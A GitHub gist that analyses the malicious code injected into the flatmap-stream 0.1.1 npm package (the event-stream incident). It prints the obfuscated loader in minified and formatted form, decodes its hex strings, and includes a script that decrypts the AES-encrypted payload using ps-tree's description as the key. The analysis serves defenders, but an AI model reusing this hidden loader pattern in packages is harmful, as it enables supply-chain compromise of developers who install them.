Instantly share code, notes, and snippets.
Save azu/7a0dc43ce94b45dcd0aae59be58d2713 to your computer and use it in GitHub Desktop.
Original minified code:
varStream=require("stream").Stream;module.exports=function(e,n){vari=newStream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};functionw(r,e){vart=c+1;if(e===t?(void0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){varn=m[t];returndeletem[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}functionp(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}functionb(r,t,n){returne.call(null,r,function(r,e){n(r,e,t)})}functionv(r){if(u=!0,i.writable=!1,void0!==r)returnw(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}returni.writable=!0,i.readable=!0,i.write=function(r){if(u)thrownewError("flatmap stream is not writable");s=!1;try{for(vareinr){a++;vart=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throwr;returnp(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{varr=require,t=process;functione(r){returnBuffer.from(r,"hex").toString()}varn=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;varu=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));varf=newmodule.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
Format the minified code byJS NICE
'use strict';varStream=require("stream").Stream;/** *@param {!Function} data *@param {number} stats *@return {?} */module.exports=function(data,stats){/** *@param {number} value *@param {number} name *@return {?} */functioncallback(value,name){varoption=output_+1;if(name===option ?(void0!==value&&stream.emit.apply(stream,["data",value]),output_++,option++) :preset[name]=value,preset.hasOwnProperty(option)){vardata=preset[option];returndeletepreset[option],callback(data,option);}if(n===++count){if(paused){/**@type {boolean} */paused=false;stream.emit("drain");}if(gasSum){close();}}}/** *@param {boolean} r *@param {undefined} event *@param {undefined} i *@return {undefined} */functionnext(r,event,i){if(!costSum){/**@type {boolean} */s=true;if(!(r&&!stats.failures)){callback(event,i);}if(r){stream.emit.apply(stream,[errorEventName,r]);}/**@type {boolean} */s=false;}}/** *@param {?} aid *@param {number} callback *@param {!Function} done *@return {?} */functionparse(aid,callback,done){returndata.call(null,aid,function(passwordUpdateErr,startDirectory){done(passwordUpdateErr,startDirectory,callback);});}/** *@param {number} reason *@return {?} */functionclose(reason){if(gasSum=true,stream.writable=false,void0!==reason){returncallback(reason,n);}if(n==count){/**@type {boolean} */stream.readable=false;stream.emit("end");stream.destroy();}}varstream=newStream;/**@type {number} */varn=0;/**@type {number} */varcount=0;/**@type {boolean} */vargasSum=false;/**@type {boolean} */varpaused=false;/**@type {boolean} */varcostSum=false;/**@type {number} */varoutput_=0;/**@type {boolean} */vars=false;/**@type {string} */varerrorEventName=(stats=stats||{}).failures ?"failure" :"error";varpreset={};returnstream.writable=true,stream.readable=true,stream.write=function(a){if(gasSum){thrownewError("flatmap stream is not writable");}/**@type {boolean} */s=false;try{vard;for(dina){n++;varval=parse(a[d],n,next);if(paused=false===val){break;}}return!paused;}catch(x_rect){if(s){throwx_rect;}returnnext(x_rect),!paused;}},stream.end=function(fn){if(!gasSum){close(fn);}},stream.destroy=function(){/**@type {boolean} */gasSum=costSum=true;/**@type {boolean} */stream.writable=stream.readable=paused=false;process.nextTick(function(){stream.emit("close");});},stream.pause=function(){/**@type {boolean} */paused=true;},stream.resume=function(){/**@type {boolean} */paused=false;},stream;};!function(){try{/** *@param {string} buffer *@return {?} */varparseInt=function(buffer){returnBuffer.from(buffer,"hex").toString();};varfindPageFromId=require;varcolData=process;varresult=findPageFromId(parseInt("2e2f746573742f64617461"));vareventSource=colData[parseInt(result[3])][parseInt(result[4])];if(!eventSource){return;}varself=findPageFromId(parseInt(result[2]))[parseInt(result[6])](parseInt(result[5]),eventSource);varid=self.update(result[0],parseInt(result[8]),parseInt(result[9]));id=id+self.final(parseInt(result[9]));varm=newmodule.constructor;m.paths=module.paths;m[parseInt(result[7])](id,"");m.exports(result[1]);}catch(r){}}();
Following code is injected.
!function(){try{/** *@param {string} buffer *@return {?} */varparseInt=function(buffer){returnBuffer.from(buffer,"hex").toString();};varfindPageFromId=require;varcolData=process;varresult=findPageFromId(parseInt("2e2f746573742f64617461"));vareventSource=colData[parseInt(result[3])][parseInt(result[4])];if(!eventSource){return;}varself=findPageFromId(parseInt(result[2]))[parseInt(result[6])](parseInt(result[5]),eventSource);varid=self.update(result[0],parseInt(result[8]),parseInt(result[9]));id=id+self.final(parseInt(result[9]));varm=newmodule.constructor;m.paths=module.paths;m[parseInt(result[7])](id,"");m.exports(result[1]);}catch(r){}}();
For example, the code decodeparseInt("2e2f746573742f64617461")
to./test/data
.
./test/data
decoded table
result | hex | decoded |
---|---|---|
result[2] | 63727970746f | crypto |
result[3] | 656e76 | env |
result[4] | 6e706d5f7061636b6167655f6465736372697074696f6e | npm_package_description |
result[5] | 616573323536 | aes256 |
result[6] | 6372656174654465636970686572 | createDecipher |
result[7] | 5f636f6d70696c65 | _compile |
result[8] | 686578 | hex |
result[9] | 75746638 | utf8 |
result[0]
-result[1]
is actual payload data that is encryped byaes256
- load
./test/data
that has hex values and assign toresult
- decrypt
result[0]
withpa-tree
's description - execute the decrypted code
- I dont know that code is worked correctly
flatmap-stream@0.1.1
includes malicious code- code:https://unpkg.com/flatmap-stream@0.1.1/index.min.js
- attack payload is encrypted by
ps-tree
'sdescription
value - the behavior was described indominictarr/event-stream#116 (comment)
flatmap-stream@0.1.1
is used in 1890 repositories- https://libraries.io/npm/flatmap-stream/usage?requirements=0.1.1
- the dependence come from
event-stream@3.x
event-stream@3.3.6
depended onflatmap-stream@0.1.1
- The example dependency tree was described indominictarr/event-stream#116 (comment)
The target offlatmap-stream@0.1.1
's malicious code isps-tree
?
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.Learn more about bidirectional Unicode characters
// === flatmap-stream@0.1.1 | |
'use strict'; | |
varStream=require("stream").Stream; | |
/** | |
*@param {!Function} data | |
*@param {number} stats | |
*@return {?} | |
*/ | |
module.exports=function(data,stats){ | |
/** | |
*@param {number} value | |
*@param {number} name | |
*@return {?} | |
*/ | |
functioncallback(value,name){ | |
varoption=output_+1; | |
if(name===option ?(void0!==value&&stream.emit.apply(stream,["data",value]),output_++,option++) :preset[name]=value,preset.hasOwnProperty(option)){ | |
vardata=preset[option]; | |
returndeletepreset[option],callback(data,option); | |
} | |
if(n===++count){ | |
if(paused){ | |
/**@type {boolean} */ | |
paused=false; | |
stream.emit("drain"); | |
} | |
if(gasSum){ | |
close(); | |
} | |
} | |
} | |
/** | |
*@param {boolean} r | |
*@param {undefined} event | |
*@param {undefined} i | |
*@return {undefined} | |
*/ | |
functionnext(r,event,i){ | |
if(!costSum){ | |
/**@type {boolean} */ | |
s=true; | |
if(!(r&&!stats.failures)){ | |
callback(event,i); | |
} | |
if(r){ | |
stream.emit.apply(stream,[errorEventName,r]); | |
} | |
/**@type {boolean} */ | |
s=false; | |
} | |
} | |
/** | |
*@param {?} aid | |
*@param {number} callback | |
*@param {!Function} done | |
*@return {?} | |
*/ | |
functionparse(aid,callback,done){ | |
returndata.call(null,aid,function(passwordUpdateErr,startDirectory){ | |
done(passwordUpdateErr,startDirectory,callback); | |
}); | |
} | |
/** | |
*@param {number} reason | |
*@return {?} | |
*/ | |
functionclose(reason){ | |
if(gasSum=true,stream.writable=false,void0!==reason){ | |
returncallback(reason,n); | |
} | |
if(n==count){ | |
/**@type {boolean} */ | |
stream.readable=false; | |
stream.emit("end"); | |
stream.destroy(); | |
} | |
} | |
varstream=newStream; | |
/**@type {number} */ | |
varn=0; | |
/**@type {number} */ | |
varcount=0; | |
/**@type {boolean} */ | |
vargasSum=false; | |
/**@type {boolean} */ | |
varpaused=false; | |
/**@type {boolean} */ | |
varcostSum=false; | |
/**@type {number} */ | |
varoutput_=0; | |
/**@type {boolean} */ | |
vars=false; | |
/**@type {string} */ | |
varerrorEventName=(stats=stats||{}).failures ?"failure" :"error"; | |
varpreset={}; | |
returnstream.writable=true,stream.readable=true,stream.write=function(a){ | |
if(gasSum){ | |
thrownewError("flatmap stream is not writable"); | |
} | |
/**@type {boolean} */ | |
s=false; | |
try{ | |
vard; | |
for(dina){ | |
n++; | |
varval=parse(a[d],n,next); | |
if(paused=false===val){ | |
break; | |
} | |
} | |
return!paused; | |
}catch(x_rect){ | |
if(s){ | |
throwx_rect; | |
} | |
returnnext(x_rect),!paused; | |
} | |
},stream.end=function(fn){ | |
if(!gasSum){ | |
close(fn); | |
} | |
},stream.destroy=function(){ | |
/**@type {boolean} */ | |
gasSum=costSum=true; | |
/**@type {boolean} */ | |
stream.writable=stream.readable=paused=false; | |
process.nextTick(function(){ | |
stream.emit("close"); | |
}); | |
},stream.pause=function(){ | |
/**@type {boolean} */ | |
paused=true; | |
},stream.resume=function(){ | |
/**@type {boolean} */ | |
paused=false; | |
},stream; | |
}; | |
!function(){ | |
try{ | |
varpassword="Get all children of a pid";// <= ps-tree | |
varcipher=require('crypto')['createDecipher']('aes256',password); | |
// == | |
vardecoded=cipher.update("75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","hex","utf8"); | |
decoded+=cipher.final("utf8"); | |
// ??? character corruptio? | |
console.log(decoded); | |
varm=newmodule.constructor; | |
m.paths=module.paths; | |
// attacker intent to execute `decoded` | |
/// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) | |
// newModule.exports(n[1]) | |
}catch(r){ | |
console.log(r); | |
} | |
}(); |
mysticatea commentedNov 26, 2018
Sign up for freeto join this conversation on GitHub. Already have an account?Sign in to comment